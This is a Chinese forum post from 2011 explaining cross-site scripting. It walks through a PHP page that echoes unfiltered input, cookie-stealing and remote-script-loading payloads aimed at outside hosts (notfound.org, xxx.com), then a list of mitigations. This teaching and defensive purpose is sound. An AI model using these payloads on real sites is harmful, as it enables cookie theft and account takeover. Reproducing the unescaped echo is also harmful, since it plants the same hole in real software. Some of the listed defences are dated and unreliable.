免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1377 | 回复: 0
打印 上一主题 下一主题

XSS(Cross Site Script)原理与防治 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2011-12-21 08:44 |只看该作者 |倒序浏览


 

它指的是恶意攻击者往Web里面插入恶意的html代码,当用户浏览该页面时,嵌入其中的html代码会被执行,从而达到恶意用户的特殊目的。

XSS属于被动式的攻击,因为其被动且不好被利用,所以许多人常常忽略其危害性。

【漏洞成因】

1、               CGi程序没有对用户提交的输入数据进行验证,没有对对其中的的HTML代码进行过滤或者转换

2、               没有对包含不可信用户输入数据的输出进行编码

【漏洞危害】

1、          获取其它用户Cookie信息

2、          修改、伪造页面信息,进行钓鱼攻击等

3、          其它

 

【原理演示】

1、          在页面http://192.168.1.105/index.php

可以注册或者登录用户,当用户填写注册后,在页面login.php中显示欢迎信息。

后台代码没有对用户信息进行任何的过滤、编码或者转换。

if($_GET["user"])

{

     echo "Register new member:".$_GET["user"];

}

那么,这里就存在XSS漏洞,当我们在user文本框中嵌入javascript脚本,那么在欢迎网页中运行这段脚本如下:

<script>alert(“XSS”);</script>

运用这个原理,那么我们在user文本框中输入下面的脚本:

<script>window.open("http://www.notfound.org/info.php?document.cookie")</script>

IE6IE9中自动打开www.notfound.org网页。

而在chrome12中,则不会出现问题,chrome12自动将用户输入进行了编码,如下:

http://192.168.1.105/login.php?user=%3Cscript%3Ewindow.open%28%22http%3A%2F%2Fwww.notfound.org%2Finfo.php%3F%22%252Bdocument.cookie%29%3C%2Fscript%3E&password=&Login=Login

 

基于上面的原理,对于一些对输入数据长度进行限制的文本框,我们不方便写入过长的内容,可以在输入框内是引入一个外部的javascript脚本。动态创建一个script标记,代码如下:

<TABLE BACKGROUND=

javascript: s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>

 

而在没有有过滤的网站,将在展示的时候自动运行这个脚本。

通过这个原理,我们可以改变网页的Dom结构,css样式是网页面目全非,或者是进行钓鱼攻击。获得用户的password等敏感信息。当然这些需要更加精细的伪装。

 

 

【解决方法】 
    
要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力: 
程序员: 
1
 过滤或转换用户提交数据中的HTML代码,一切用户提交的数据都是不可靠的。 首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<,>,;,”’”等字符做过滤;

2 对网页的输出接口进行编码。任何内容写到页面之前都必须加以encode,避免不小心把html tag 弄出来。这一个层面做好,至少可以堵住超过一半的XSS 攻击。

3.在cgi程序进行发布前,对网页进行XSSCSRF检测

4. Cookie 防盗
首先,避免直接在cookie 中泄露用户隐私,例如email、密码等等。

其次,通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放。
5. 
尽量采用POST 而非GET 提交表单
POST 
操作不可能绕开javascript 的使用,这会给攻击者增加难度,减少可利用的跨站漏洞。
6. 
严格检查refer
检查http refer 是否来自预料中的url


用户: 
1
 不要轻易访问别人给你的链接 
2
 禁止浏览器运行JavaScriptActiveX代码 

3.  升级到最新的浏览器版本。


参考:

XSS攻击详解

http://wenku.baidu.com/view/73eaee8271fe910ef12df886.html

 

XSS跨站脚本攻击原理

http://yfyfj.blog.163.com/blog/static/1542478420112332114150/

 

Microsoft Anti-Cross Site Scripting Library V1.5: Protecting the Contoso Bookmark Page

http://msdn.microsoft.com/en-us/library/aa973813.aspx

XSS攻击原理与方法

http://blog.sina.com.cn/s/blog_51b6521b0100io5r.html

您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP